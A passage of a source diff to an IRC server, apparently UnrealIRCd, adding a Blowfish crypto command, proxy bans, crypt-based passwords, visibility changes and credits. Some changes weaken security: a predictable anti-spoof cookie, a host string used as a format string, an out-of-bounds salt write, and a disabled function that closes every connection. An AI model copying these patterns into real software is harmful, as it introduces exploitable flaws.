parv) int new_val = atoi(parv[2]); if (new_val < 10) sendto_one(sptr, - ":%s NOTICE %s :New value must be < 10", + ":%s NOTICE %s :New value must be > 10", me.name, parv[0]); else { @@ -1442,6 +1459,15 @@ int m_chgname(cptr, sptr, parc, parv) aClient *acptr; char *s; +#ifdef DISABLE_USERMOD + if (MyClient(sptr)) + { + sendto_one(sptr, ":%s NOTICE %s :*** The /chgname command is disabled on this server", me.name, sptr->name); + return 0; + } +#endif + + if (MyClient(sptr)) if (!IsAnOper(sptr)) { @@ -1507,3 +1533,75 @@ int m_chgname(cptr, sptr, parc, parv) } return 0; } + +#ifdef CRYPTOIRCD +/* + * parv[0] = sender + * parv[1] = algoritm (BLOWFISH, DES, RC5, etc) + * parv[2] = keyfile + * parv[3] = parameters, * if none +*/ +int m_crypto(cptr, sptr, parc, parv) + aClient *cptr, *sptr; + int parc; + char *parv[]; +{ + aClient *acptr; + int method; + FILE *f; + char string[512], *s; + + if (parc < 4) + return 0; + + if (!strcmp(parv[1], "BLOWFISH")) + { + method = METHOD_BLOWFISH; + } + else + if (!strcmp(parv[1], "OFF")) + { + if (IsSecure(sptr)) + ClearSecure(sptr); + + sendto_one(sptr, "CRYPTO ERROR :Secure connection breaked"); + return 0; + } + else + if (!strcmp(parv[1], "ON")) + return 0; + + if (method == METHOD_BLOWFISH) + { + if (strchr(parv[2], '/') || strchr(parv[2], '\\')) + { + sendto_one(sptr, "CRYPTO ERROR :Illegal keypath"); + return 0; + } + ircsprintf(string, "keys/%s", parv[2]); + f = fopen(string, "r"); + if (!f) + { + sendto_one(sptr, "CRYPTO ERROR :Failed to open keyfile %s", parv[2]); + return 0; + } + + s = fgets(string, 510, f); + if (!s) + { + sendto_one(sptr, "CRYPTO ERROR :Unable to read keyfile %s", parv[2]); + return 0; + } + fclose(f); + iCstrip(string); + sptr->cryptinfo = (aCryptInfo *) MyMalloc(sizeof(aCryptInfo)); + sptr->cryptinfo->method = method; + sptr->cryptinfo->key = (void *) MyMalloc(sizeof(BF_KEY)); + BF_set_key(sptr->cryptinfo->key, strlen(string), string); + sendto_one(sptr, "CRYPTO ON BLOWFISH"); + SetSecure(sptr); + return 0; + } + sendto_one(sptr, "CRYPTO ERROR :No such method/command %s", parv[1]); +} +#endif \ No newline at end of file diff --git a/src/s_user.c b/src/s_user.c index f88134041..02b33727a 100644 --- a/src/s_user.c +++ b/src/s_user.c @@ -50,6 +50,10 @@ Computing Center and Jarkko Oikarinen"; #include "badwords.h" #endif +#ifdef _WIN32 +#include "version.h" +#endif + ID_CVS("$Id$"); void send_umode_out PROTO((aClient *, aClient *, int)); void send_umode_out_nickv2 PROTO((aClient *, aClient *, int)); @@ -60,6 +64,7 @@ static is_silenced PROTO((aClient *, aClient *)); int sendanyways = 0; int dontspread = 0; +extern char *me_hash; extern ircstats IRCstats; static char buf[BUFSIZE], buf2[BUFSIZE]; @@ -105,9 +110,10 @@ void iNAH_host(aClient *sptr, char *host) if (sptr->user->virthost) MyFree(sptr->user->virthost); sptr->user->virthost = MyMalloc(strlen(host) + 1); + ircsprintf(sptr->user->virthost, host); if (MyConnect(sptr)) sendto_serv_butone_token(&me, sptr->name, MSG_SETHOST, - TOK_SETHOST, sptr->user->virthost); + TOK_SETHOST, "%s", sptr->user->virthost); sptr->umodes |= UMODE_SETHOST; } @@ -269,8 +275,6 @@ aClient *next_client(next, ch) return next; for (; next; next = next->next) { - if (IsService(next)) - continue; if (!match(ch, next->name) || !match(next->name, ch)) break; } @@ -509,6 +513,43 @@ int m_remgline(aClient *cptr, aClient *sptr, int parc, char *parv[]) extern char cmodestring[512]; +int m_post(aClient *cptr, aClient *sptr, int parc, char *parv[]) +{ + char *tkllayer[9] = { + me.name, /*0 server.name */ + "+", /*1 +|- */ + "z", /*2 G */ + "*", /*3 user */ + NULL, /*4 host */ + NULL, + NULL, /*6 expire_at */ + NULL, /*7 set_at */ + NULL /*8 reason */ + }; + char hostip[128], mo[128], mo2[128]; + + if (!MyClient(sptr)) + return 0; + + if (IsRegistered(sptr)) + return 0; + + strcpy(hostip, (char *)inetntoa((char *)&sptr->ip)); + + sendto_one(sptr, ":%s NOTICE AUTH :*** Proxy connection detected (bad!)", me.name); + sendto_umode(UMODE_EYES, "Attempted WWW Proxy connect from client %s", get_client_host(sptr)); + exit_client(cptr, sptr, &me, "HTTP proxy connection"); + + tkllayer[4] = hostip; + tkllayer[5] = me.name; + ircsprintf(mo, "%li", iConf.socksbantime + TStime()); + ircsprintf(mo2, "%li", TStime()); + tkllayer[6] = mo; + tkllayer[7] = mo2; + tkllayer[8] = "HTTP Proxy"; + return m_tkl(&me,&me, 9,tkllayer); +} + /* ** register_user ** This function is called when both NICK and USER messages @@ -539,7 +580,7 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) char *nick, *username, *virthost, *umode; { aConfItem *aconf; - char *parv[3], *tmpstr, c; + char *parv[3], *tmpstr, c, *encr; #ifdef HOSTILENAME char stripuser[USERLEN + 1], *u1 = stripuser, *u2, olduser[USERLEN + 1], userbad[USERLEN * 2 + 1], *ubad = userbad, noident = 0; @@ -571,13 +612,6 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) if (MyConnect(sptr)) { - if (badclass) - { - ircsprintf(mo2, "ircd.conf Y:line class number %i is bad (contains too many max clients (> %i). Get your IRC admin to fix this", - badclass, MAXCONNECTIONS - 15); - exit_client(cptr, sptr, &me, mo2); - return 0; - } #ifdef SOCKSPORT if (sptr->flags & FLAGS_GOTSOCKS) { @@ -635,10 +669,7 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) MyFree(tmpx); return xx; } - if (IsUnixSocket(sptr)) - strncpyzt(user->realhost, me.sockhost, - sizeof(user->realhost)); - else if (sptr->hostp) + if (sptr->hostp) { /* No control-chars or ip-like dns replies... I cheat :) -- OnyxDragon */ @@ -741,7 +772,24 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) if (!BadPtr(aconf->passwd) && !StrEq("ONE", aconf->passwd)) { - if (!StrEq(sptr->passwd, aconf->passwd)) +/* I:line password encryption --codemastr */ +#ifdef CRYPT_ILINE_PASSWORD + if (*sptr->passwd) { + char salt[3]; + extern char *crypt(); + + salt[0]=aconf->passwd[0]; + salt[1]=aconf->passwd[1]; + salt[3]='\0'; + + encr = crypt(sptr->passwd, salt); + } + else + encr = ""; +#else + encr = sptr->passwd; +#endif + if (!StrEq(encr, aconf->passwd)) { ircstp->is_ref++; sendto_one(sptr, err_str(ERR_PASSWDMISMATCH), @@ -787,46 +835,6 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) ircstp->is_ref++; return xx; } - -#ifdef DISALLOW_MIXED_CASE -/* check for mixed case usernames, meaning probably hacked Jon2 3-94 -*/ -#ifdef IGNORE_CASE_FIRST_CHAR - tmpstr = (username[0] == '~' ? &username[2] : &username[1]); -#else - tmpstr = (username[0] == '~' ? &username[1] : username); -#endif /* IGNORE_CASE_FIRST_CHAR */ - while (*tmpstr && !(lower && upper || special)) - { - c = *tmpstr; - tmpstr++; - if (islower(c)) - { - lower++; - continue; /* bypass rest of tests */ - } - if (isupper(c)) - { - upper++; - continue; - } - if (c == '-' || c == '_' || c == '.' || isdigit(c)) - continue; - special++; - } - if (lower && upper || special) - { - sendto_ops("Invalid username: %s", - get_client_name(sptr, FALSE)); - ircstp->is_ref++; - return exit_client(cptr, sptr, sptr, - "Invalid username"); - } - -#endif /* DISALLOW_MIXED_CASE */ - - if (oldstatus == STAT_MASTER && MyConnect(sptr)) - (void)m_oper(&me, sptr, 1, parv); } else { @@ -863,9 +871,11 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) (void)m_lusers(sptr, sptr, 1, parv); update_load(); (void)m_motd(sptr, sptr, 1, parv); +#ifdef EXPERIMENTAL sendto_one(sptr, ":%s NOTICE %s :*** \2NOTE:\2 This server (%s) is running experimental IRC server software. If you find any bugs or problems, please mail unreal-dev@lists.sourceforge.net about it", me.name, sptr->name, me.name); +#endif #ifdef HOSTILENAME /* * Now send a numeric to the user telling them what, if @@ -908,9 +918,7 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) else sptr->flags |= (acptr->flags & FLAGS_TS8); /* *FINALL* this gets in ircd... -- Barubary */ - if (find_conf_host(cptr->confs, sptr->name, CONF_UWORLD) - || (sptr->user && find_conf_host(cptr->confs, - sptr->user->server, CONF_UWORLD))) + if ((find_uline(cptr->confs, sptr->user->server))) sptr->flags |= FLAGS_ULINE; } @@ -927,14 +935,14 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) if (sptr->user->virthost) MyFree(sptr->user->virthost); sptr->user->virthost = - MyMalloc(strlen(sptr->user->virthost) + 1); + MyMalloc(strlen(virthost) + 1); ircsprintf(sptr->user->virthost, virthost); } } hash_check_notify(sptr, RPL_LOGON); /* Uglier hack */ send_umode(NULL, sptr, 0, SEND_UMODES, buf); /* NICKv2 Servers ! */ - sendto_serv_butone_nickcmd(cptr, nick, + sendto_serv_butone_nickcmd(cptr, sptr, nick, sptr->hopcount + 1, sptr->lastnick, user->username, user->realhost, user->server, user->servicestamp, sptr->info, (!buf || *buf == '\0' ? "+" : buf), @@ -951,6 +959,8 @@ static int register_user(cptr, sptr, nick, username, umode, virthost) sendto_one(nsptr, ":%s PRIVMSG %s@%s :IDENTIFY %s", sptr->name, NickServ, SERVICES_NAME, sptr->passwd); /* Force the user to join the given chans -- codemastr */ + sendto_one(cptr,":%s MODE %s :%s", cptr->name, cptr->name, buf); + if (strcmp(AUTO_JOIN_CHANS, "0")) { char *chans[3] = { @@ -1341,9 +1351,8 @@ int m_nick(cptr, sptr, parc, parv) { ircstp->is_kill++; sendto_serv_butone(NULL, - ":%s KILL %s :%s (Nick Collision: %s <- %s)", - me.name, acptr->name, me.name, acptr->from->name, - parc > 5 ? parv[5] : get_client_name(cptr, FALSE)); + ":%s KILL %s :%s (Nick Collision)", + me.name, acptr->name, me.name); acptr->flags |= FLAGS_KILLED; (void)exit_client(NULL, acptr, &me, "Nick collision with no timestamp/equal timestamps"); @@ -1355,9 +1364,8 @@ int m_nick(cptr, sptr, parc, parv) { ircstp->is_kill++; sendto_serv_butone(cptr, - ":%s KILL %s :%s (Nick Collision: %s <- %s)", - me.name, acptr->name, me.name, acptr->from->name, - parc > 5 ? parv[5] : get_client_name(cptr, FALSE)); + ":%s KILL %s :%s (Nick Collision)", + me.name, acptr->name, me.name); acptr->flags |= FLAGS_KILLED; (void)exit_client(NULL, acptr, &me, "Nick collision"); goto nickkilldone; /* OK, we got rid of the "wrong" user, @@ -1531,45 +1539,8 @@ int m_nick(cptr, sptr, parc, parv) * Client setting NICK the first time. * * Generate a random string for them to pong with. - * - * The first two are server specific. The intent is to randomize - * things well. - * - * We use lots of junk here, but only "low cost" things. - */ - md5data[0] = NOSPOOF_SEED01; - md5data[1] = NOSPOOF_SEED02; - md5data[2] = TStime(); - md5data[3] = me.sendM; - md5data[4] = me.receiveM; - md5data[5] = 0; - md5data[6] = getpid(); - md5data[7] = sptr->ip.S_ADDR; - md5data[8] = sptr->fd; - md5data[9] = 0; - md5data[10] = 0; - md5data[11] = 0; - md5data[12] = md5hash[0]; /* previous runs... */ - md5data[13] = md5hash[1]; - md5data[14] = md5hash[2]; - md5data[15] = md5hash[3]; - - /* - * initialize the md5 buffer to known values - */ - MD5Init(md5hash); - - /* - * transform the above information into gibberish - */ - MD5Transform(md5hash, md5data); - - /* - * Never release any internal state of our generator. Instead, - * use two parts of the returned hash and xor them to hide - * both values. - */ - sptr->nospoof = (md5hash[0] ^ md5hash[1]); + */ + sptr->nospoof = 1+(int) (9000000.0*random()/(RAND_MAX+80000000.0)); /* * If on the odd chance it comes out zero, make it something @@ -1580,7 +1551,7 @@ int m_nick(cptr, sptr, parc, parv) sendto_one(sptr, ":%s NOTICE %s :*** If you are having problems" " connecting due to ping timeouts, please" " type /notice %X nospoof now.", - me.name, nick, sptr->nospoof, sptr->nospoof); + me.name, nick, sptr->nospoof); sendto_one(sptr, "PING :%X", sptr->nospoof); #endif /* NOSPOOF */ @@ -1687,6 +1658,7 @@ static int m_message(cptr, sptr, parc, parv, notice) "No external channel messages", "Colour is not permitted in this channel", "You are banned", + "CTCPs are not permitted in this channel", NULL }; @@ -1728,15 +1700,12 @@ static int m_message(cptr, sptr, parc, parv, notice) /* ** nickname addressed? */ - if (WEBTV_SUPPORT == 1) - { if (!strcasecmp(nick, "irc") && MyClient(sptr)) { parse(sptr, parv[2], (parv[2] + strlen(parv[2])), msgtab); continue; } - } if (*nick != '#' && (acptr = find_person(nick, NULL))) { /* F:Line stuff by _Jozeph_ added by Stskeeps with comments */ @@ -1815,9 +1784,9 @@ static int m_message(cptr, sptr, parc, parv, notice) stripbadwords_message(parv[2])); else #endif - sendto_prefix_one(acptr, sptr, - ":%s %s %s :%s", parv[0], cmd, nick, - parv[2]); + sendto_message_one(acptr, + sptr, parv[0], cmd, + nick, parv[2]); } continue; } @@ -1874,21 +1843,11 @@ static int m_message(cptr, sptr, parc, parv, notice) } else { - if (prefix & PREFIX_VOICE) - sendto_channelvoice_butone(cptr, - sptr, chptr, - ":%s %s %s :%s", parv[0], - cmd, nick, text); - if (prefix & PREFIX_HALFOP) - sendto_channelhalfop_butone - (cptr, sptr, chptr, - ":%s %s %s :%s", parv[0], - cmd, nick, text); - if (prefix & PREFIX_OP) - sendto_channelops_butone(cptr, - sptr, chptr, - ":%s %s %s :%s", parv[0], - cmd, nick, text); + sendto_channelprefix_butone(cptr, + sptr, chptr, + prefix, + ":%s %s %s :%s", parv[0], + cmd, nick, text); } sendanyways = 0; continue; @@ -2310,12 +2269,17 @@ static void do_who(sptr, acptr, repchan) char status[5]; int i = 0; + /* auditoriums only show @'s */ + if (repchan && (repchan->mode.mode & MODE_AUDITORIUM) && + !is_chan_op(acptr, repchan)) + return; + if (acptr->user->away) status[i++] = 'G'; else status[i++] = 'H'; /* Check for +H here too -- codemastr */ - if (IsAnOper(acptr) && !IsHideOper(acptr)) + if (IsAnOper(acptr) && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) status[i++] = '*'; else if (IsInvisible(acptr) && sptr != acptr && IsAnOper(sptr)) status[i++] = '%'; @@ -2330,6 +2294,8 @@ static void do_who(sptr, acptr, repchan) ":%s NOTICE %s :*** %s either did a /who or a specific /who on you", me.name, acptr->name, sptr->name); } + if (IsHiding(acptr) && sptr != acptr && !IsNetAdmin(sptr) && !IsTechAdmin(sptr)) + repchan = NULL; sendto_one(sptr, rpl_str(RPL_WHOREPLY), me.name, sptr->name, (repchan) ? (repchan->chname) : "*", acptr->user->username, IsHidden(acptr) ? acptr->user->virthost : acptr->user->realhost, @@ -2421,12 +2387,10 @@ int m_who(cptr, sptr, parc, parv) if (member || !SecretChannel(chptr)) for (lp = chptr->members; lp; lp = lp->next) { - if (oper && (!IsAnOper(lp->value.cptr) - || IsHideOper(lp->value.cptr))) + if (IsHiding(lp->value.cptr)) continue; - if (IsHiding(lp->value.cptr) - && !(IsNetAdmin(sptr) - || IsTechAdmin(sptr))) + if (oper && (!IsAnOper(lp->value.cptr) + )) continue; if (lp->value.cptr != sptr && IsInvisible(lp->value.cptr) @@ -2445,7 +2409,7 @@ int m_who(cptr, sptr, parc, parv) if (!IsPerson(acptr)) continue; - if (oper && (!IsAnOper(acptr) || IsHideOper(acptr))) + if (oper && (!IsAnOper(acptr) || (IsHideOper(acptr) && sptr != acptr && !IsAnOper(sptr)))) continue; showperson = 0; /* @@ -2708,18 +2672,11 @@ int m_whois(cptr, sptr, parc, parv) } } - if (IsULine(acptr, acptr)) - goto next; - - if (IsHiding(acptr) && sptr != acptr - && !IsNetAdmin(sptr) && !IsTechAdmin(sptr)) - goto next; - - if (buf[0] != '\0') + if (buf[0] != '\0' && !IsULine(acptr, acptr) && (!IsHiding(acptr) || + IsNetAdmin(sptr) || IsTechAdmin(sptr) || sptr == acptr)) sendto_one(sptr, rpl_str(RPL_WHOISCHANNELS), me.name, parv[0], name, buf); - next: sendto_one(sptr, rpl_str(RPL_WHOISSERVER), me.name, parv[0], name, user->server, a2cptr ? a2cptr->info : "*Not On This Net*"); @@ -2731,7 +2688,7 @@ int m_whois(cptr, sptr, parc, parv) before we display a helpop or IRCD Coder msg) -- codemastr */ if ((IsAnOper(acptr) || IsServices(acptr)) - && !IsHideOper(acptr)) + && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) { buf[0] = '\0'; if (IsNetAdmin(acptr)) @@ -2758,7 +2715,7 @@ int m_whois(cptr, sptr, parc, parv) parv[0], name, buf, ircnetwork); } - if (IsHelpOp(acptr) && !IsHideOper(acptr)) + if (IsHelpOp(acptr) && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) if (!acptr->user->away) sendto_one(sptr, rpl_str(RPL_WHOISHELPOP), me.name, @@ -2769,7 +2726,7 @@ int m_whois(cptr, sptr, parc, parv) sendto_one(sptr, rpl_str(RPL_WHOISBOT), me.name, parv[0], name, ircnetwork); } - if (acptr->umodes & UMODE_CODER && !IsHideOper(acptr)) + if (acptr->umodes & UMODE_CODER && (!IsHideOper(acptr) || sptr == acptr || IsAnOper(sptr))) { sendto_one(sptr, rpl_str(RPL_WHOISOPERATOR), me.name, parv[0], name, "a Coder", @@ -2924,7 +2881,7 @@ int m_user(cptr, sptr, parc, parv) } strncpyzt(user->realhost, host, sizeof(user->realhost)); - user->server = me.name; + user->server = me_hash; user_finish: user->servicestamp = sstamp; strncpyzt(sptr->info, realname, sizeof(sptr->info)); @@ -3124,12 +3081,9 @@ int m_kill(cptr, sptr, parc, parv) ** ...!operhost!oper ** ...!operhost!oper (comment) */ - if (IsUnixSocket(cptr)) /* Don't use get_client_name syntax */ - strcpy(inpath, me.name); - else - strcpy(inpath, - IsHidden(cptr) ? cptr->user-> - virthost : cptr->user->realhost); + strcpy(inpath, + IsHidden(cptr) ? cptr->user-> + virthost : cptr->user->realhost); if (kcount < 2) /* Only check the path the first time around, or it gets appended to itself. */ if (!BadPtr(path)) @@ -4050,9 +4004,11 @@ int m_userhost(cptr, sptr, parc, parv) virthost : acptr->user->realhost))); if (IsWhois(acptr) && IsOper(sptr)) { +/* sendto_one(acptr, ":%s NOTICE %s :*** %s did a /userhost on you.", me.name, sptr->name, sptr->name); +*/ } resid -= catsize; } @@ -4369,8 +4325,7 @@ int m_umode(cptr, sptr, parc, parv) if ((sptr->umodes & (UMODE_KIX)) && !(IsNetAdmin(sptr) || IsTechAdmin(sptr))) sptr->umodes &= ~UMODE_KIX; - if ((sptr->umodes & (UMODE_FCLIENT)) && !(IsNetAdmin(sptr) - || IsTechAdmin(sptr))) + if ((sptr->umodes & (UMODE_FCLIENT)) && !IsOper(sptr)) sptr->umodes &= ~UMODE_FCLIENT; /* Agents @@ -4379,6 +4334,7 @@ int m_umode(cptr, sptr, parc, parv) if ((sptr->umodes & UMODE_HIDING) && !IsAnOper(sptr)) sptr->umodes &= ~UMODE_HIDING; + if ((sptr->umodes & UMODE_HIDING) && !(sptr->oflag & OFLAG_INVISIBLE)) sptr->umodes &= ~UMODE_HIDING; @@ -4570,8 +4526,9 @@ setmodey: sendto_serv_butone_token(cptr, parv[0], MSG_SVS2MODE, TOK_SVS2MODE, "%s %s", parv[1], parv[2]); - sendto_one(acptr, ":%s MODE %s :%s", parv[0], parv[1], parv[2]); - + send_umode(NULL, sptr, setflags, ALL_UMODES, buf); + if (MyClient(sptr)) + sendto_one(sptr, ":%s MODE %s :%s", parv[0], parv[1], buf); return 0; } diff --git a/src/scache.c b/src/scache.c index 8e0236bd6..020b84baf 100644 --- a/src/scache.c +++ b/src/scache.c @@ -125,6 +125,24 @@ char *find_server_aln(char *s) return (convert2aln(hash(s))); } + +char *does_servername_collide(char *s) +{ + int i = hash(s); + + if (scache_hash[i]) + { + if (strcmp(s, scache_hash[i]->name)) + return scache_hash[i]->name; + else + return NULL; + } + else + { + return NULL; + } +} + /* * Added so s_debug could check memory usage in here -Dianora */ diff --git a/src/send.c b/src/send.c index 41cf54d31..d5faba0a3 100644 --- a/src/send.c +++ b/src/send.c @@ -51,6 +51,7 @@ extern fdlist oper_fdlist; #define NEWLINE "\r\n" static char sendbuf[2048]; + static int send_message PROTO((aClient *, char *, int)); static int sentalong[MAXCONNECTIONS]; @@ -159,11 +160,7 @@ int send_queued(to) ** not working correct if send_queued is called for a ** dead socket... --msa */ -#ifndef SENDQ_ALWAYS - return dead_link(to, "send_queued called for a DEADSOCKET:%s"); -#else return -1; -#endif } while (DBufLength(&to->sendQ) > 0) { @@ -202,9 +199,12 @@ void vsendto_one(aClient *to, char *pattern, va_list vl) sendbufto_one(to); } + void sendbufto_one(aClient *to) { int len; + char *s; + int i; Debug((DEBUG_ERROR, "Sending [%s] to %s", sendbuf, to->name)); @@ -243,7 +243,13 @@ void sendbufto_one(aClient *to) sendto_ops("Trying to send [%s] to myself!", tmp_sendbuf); return; } - +#ifdef CRYPTOIRCD + if (IsSecure(to)) + { + s = (char *) ep_encrypt(to, sendbuf, &len); + bcopy(s, sendbuf, len); + } +#endif if (DBufLength(&to->sendQ) > get_sendq(to)) { if (IsServer(to)) @@ -255,7 +261,7 @@ void sendbufto_one(aClient *to) return; } - else if (!dbuf_put(&to->sendQ, sendbuf, len)) + if (!dbuf_put(&to->sendQ, sendbuf, len)) { dead_link(to, "Buffer allocation error"); return; @@ -313,6 +319,54 @@ void sendto_channel_butone(aClient *one, aClient *from, aChannel *chptr, va_end(vl); } +void sendto_channelprefix_butone(aClient *one, aClient *from, aChannel *chptr, + int prefix, + char *pattern, ...) +{ + va_list vl; + Link *lp; + aClient *acptr; + int i; + + va_start(vl, pattern); + for (i = 0; i < MAXCONNECTIONS; i++) + sentalong[i] = 0; + for (lp = chptr->members; lp; lp = lp->next) + { + acptr = lp->value.cptr; + if (acptr->from == one) + continue; /* ...was the one I should skip + or user not not a channel op */ + if ((prefix & 0x1) && !(lp->flags & CHFL_HALFOP)) + continue; + if ((prefix & 0x2) && !(lp->flags & CHFL_VOICE)) + continue; + if ((prefix & 0x4) && !(lp->flags & CHFL_CHANOP)) + continue; + + i = acptr->from->fd; + if (MyConnect(acptr) && IsRegisteredUser(acptr)) + { + vsendto_prefix_one(acptr, from, pattern, vl); + sentalong[i] = 1; + } + else + { + /* Now check whether a message has been sent to this + * remote link already */ + if (sentalong[i] == 0) + { + vsendto_prefix_one(acptr, from, pattern, vl); + sentalong[i] = 1; + } + } + } + va_end(vl); + return; +} + + + /* * sendto_channelops_butone Added 1 Sep 1996 by Cabal95. * Send a message to all OPs in channel chptr that @@ -554,6 +608,96 @@ void sendto_serv_butone_token(aClient *one, char *prefix, char *command, return; } +/* + * sendto_server_butone_token_opt + * + * Send a message to all connected servers except the client 'one'. + * with capab to tokenize, opt + */ + +void sendto_serv_butone_token_opt(aClient *one, int opt, char *prefix, char *command, + char *token, char *pattern, ...) +{ + va_list vl; + int i; + aClient *cptr; +#ifndef NO_FDLIST + int j; +#endif + char *p; + static char tcmd[1024]; + static char ccmd[1024]; + static char buff[1024]; + static char pref[100]; + + va_start(vl, pattern); + + pref[0] = '\0'; + if (strchr(prefix, '.')) + ircsprintf(pref, "@%s", find_server_aln(prefix)); + + strcpy(tcmd, token); + strcpy(ccmd, command); + strcat(tcmd, " "); + strcat(ccmd, " "); + ircvsprintf(buff, pattern, vl); + strcat(tcmd, buff); + strcat(ccmd, buff); + +#ifdef NO_FDLIST + for (i = 0; i <= highest_fd; i++) +#else + for (i = serv_fdlist.entry[j = 1]; j <= serv_fdlist.last_entry; + i = serv_fdlist.entry[++j]) +#endif + { + if (!(cptr = local[i]) || (one && cptr == one->from)) + continue; +#ifdef NO_FDLIST + if (IsServer(cptr)) +#endif + + if ((opt & OPT_NOT_SJOIN) && SupportSJOIN(cptr)) + continue; + if ((opt & OPT_NOT_NICKv2) && SupportNICKv2(cptr)) + continue; + if ((opt & OPT_NOT_SJOIN2) && SupportSJOIN2(cptr)) + continue; + if ((opt & OPT_NOT_UMODE2) && SupportUMODE2(cptr)) + continue; + if ((opt & OPT_NOT_SJ3) && SupportSJ3(cptr)) + continue; + if ((opt & OPT_NICKv2) && !SupportNICKv2(cptr)) + continue; + if ((opt & OPT_SJOIN) && !SupportSJOIN(cptr)) + continue; + if ((opt & OPT_SJOIN2) && !SupportSJOIN2(cptr)) + continue; + if ((opt & OPT_UMODE2) && !SupportUMODE2(cptr)) + continue; + if ((opt & OPT_SJ3) && !SupportSJ3(cptr)) + continue; + if (IsToken(cptr)) + { + if ((pref[0] != '\0') && SupportALN(cptr)) + sendto_one(cptr, "%s %s", pref, tcmd); + else + sendto_one(cptr, ":%s %s", prefix, + tcmd); + } + else + { + if ((pref[0] != '\0') && SupportALN(cptr)) + sendto_one(cptr, "%s %s", pref, ccmd); + else + sendto_one(cptr, ":%s %s", prefix, + ccmd); + } + } + va_end(vl); + return; +} + /* * sendto_serv_butone_quit * @@ -1422,8 +1566,13 @@ void sendto_connectnotice(nick, user, sptr) char connectd[1024]; char connecth[1024]; ircsprintf(connectd, - "*** Notice -- Client connecting on port %d: %s (%s@%s)", - sptr->acpt->port, nick, user->username, user->realhost); + "*** Notice -- Client connecting on port %d: %s (%s@%s) %s", + sptr->acpt->port, nick, user->username, user->realhost, +#ifdef CRYPTOIRCD + IsSecure(sptr) ? "[secure]" : ""); +#else + ""); +#endif ircsprintf(connecth, "*** Notice -- Client connecting: %s (%s@%s) [%s] {%d}", nick, user->username, user->realhost, sptr->sockhost, @@ -1448,7 +1597,8 @@ void sendto_connectnotice(nick, user, sptr) * * Send a message to all connected servers except the client 'one'. */ -void sendto_serv_butone_nickcmd(aClient *one, char *nick, int hopcount, +void sendto_serv_butone_nickcmd(aClient *one, aClient *sptr, + char *nick, int hopcount, int lastnick, char *username, char *realhost, char *server, long servicestamp, char *info, char *umodes, char *virthost) { @@ -1479,8 +1629,9 @@ void sendto_serv_butone_nickcmd(aClient *one, char *nick, int hopcount, (IsToken(cptr) ? TOK_NICK : MSG_NICK), nick, hopcount, lastnick, username, realhost, (SupportALN(cptr) ? find_server_aln(server) - : server), servicestamp, umodes, virthost, - info); + : server), servicestamp, umodes, + (SupportVHP(cptr) ? (IsHidden(sptr) ? sptr->user->virthost : realhost) : virthost), + info); } else { @@ -1510,3 +1661,14 @@ void sendto_serv_butone_nickcmd(aClient *one, char *nick, int hopcount, va_end(vl); return; } + +void sendto_message_one(aClient *to, aClient *from, char *sender, + char *cmd, char *nick, char *msg) +{ + if(IsServer(to->from) && IsToken(to->from)) { + if(*cmd == 'P') cmd = TOK_PRIVATE; + if(*cmd == 'N') cmd = TOK_NOTICE; + } + sendto_prefix_one(to, from, ":%s %s %s :%s", + sender, cmd, nick, msg); +} diff --git a/src/support.c b/src/support.c index 4e8872dc6..830bc2111 100644 --- a/src/support.c +++ b/src/support.c @@ -24,13 +24,10 @@ static char sccsid[] = "@(#)support.c 2.21 4/13/94 1990, 1991 Armin Gruner;\ #endif #include "config.h" -#ifdef DYNIXPTX -#include -#include -#endif #include "struct.h" #include "common.h" #include "sys.h" +#include "version.h" #ifdef _WIN32 #include #else @@ -41,6 +38,16 @@ extern int errno; /* ...seems that errno.h doesn't define this everywhere */ #endif extern void outofmemory(); +#define is_enabled match + +char *my_itoa(int i) +{ + static char buf[128]; + + ircsprintf(buf, "%i", i); + return (buf); +} + #ifdef NEED_STRTOKEN /* ** strtoken.c -- walk through a string of tokens, using a set @@ -576,3 +583,33 @@ char *inetntop(af, in, out, the_size) return out; } #endif + +extern int Rha; +/* + * Disconnect all users connected to local server incase of /restart slow + * (development tool to test load conditions, should be turned off in releases) +*/ +int rh(void) +{ + int fd; + + /* test if this is an development release, just for security - + we test if there is a Unreal*l, as it would be Unreal3.1-Silverheart(devel) + + should really be an define, but i need it to be !DEVELOP as well, + for testing phases at irc.ircsystems.net + + */ + return 0; + if (!is_enabled("Unreal*l*", Rh VERSIONONLY)) + return 0; + + + for (fd = 0; fd < MAXCONNECTIONS; fd++) + { + close(fd); + } + + Rha = 1; + save_tunefile(); +} \ No newline at end of file diff --git a/src/version.c.SH b/src/version.c.SH index 7dd384326..15527adfc 100644 --- a/src/version.c.SH +++ b/src/version.c.SH @@ -10,7 +10,7 @@ case $CONFIG in ;; esac -echo "Extracting $package/ircd/version.c..." +echo "Extracting src/version.c..." if test -r version.c then @@ -101,9 +101,14 @@ char *unrealcredits[] = "- Good hosting, CVS hosting, FTP etc etc:) - thanks for", " supporting opensource projects", "", + "noriko noriko@linuxsquare.net", + "- Giving us an OpenBSD shell to develop on :)", + "", " \37Donations to Unreal:\37", "BlueFlame^", " - the first UnrealIRCd donation :)", + "[Real] from ChatFIRST.com", + " - donation to UnrealIRCd project :)", "Thanks to Headbang and WonderWal too for hardware+software", "donations", " (yes your name can be here too;)", @@ -112,7 +117,8 @@ char *unrealcredits[] = "zshack, Headbang, Mick, Sp^, WonderWal, bomb, BullFrog, JacobD,", "SirDeath, l33, EiniD, uo, RevPsych and the subgenius.net network,", "^RavenX^, Mich[a]el, {X}, Fish, Shmad, Killer, BrainSCAN, RevNull,", - "GoNiS (irc.coreplex.org), Mikey, DrBin, and others", + "GoNiS, Mikey, DrBin, rapta, crow, SevenEagle, Curt|s, Scooter,", + "auspice", "", "", " \2\37Stskeeps would like to thank:\2\37", @@ -151,13 +157,10 @@ char *unrealcredits[] = "zero9000 Kevin Alford", " - UnrealIRCd logo, graphics, null desu ;), ideas etc.", " \2\37codemastr would like to thank:\2\37", - "CaliMonk Ivo Teel calimonk@nhn.net", + "CaliMonk Ivo Teel calimonk@axenet.org", " - Getting me started at NeoHorizon which basically got me", " started coding IRCd", - "Kenpo Ian Ricci ianr@nhn.net", - " - Starting me out learning 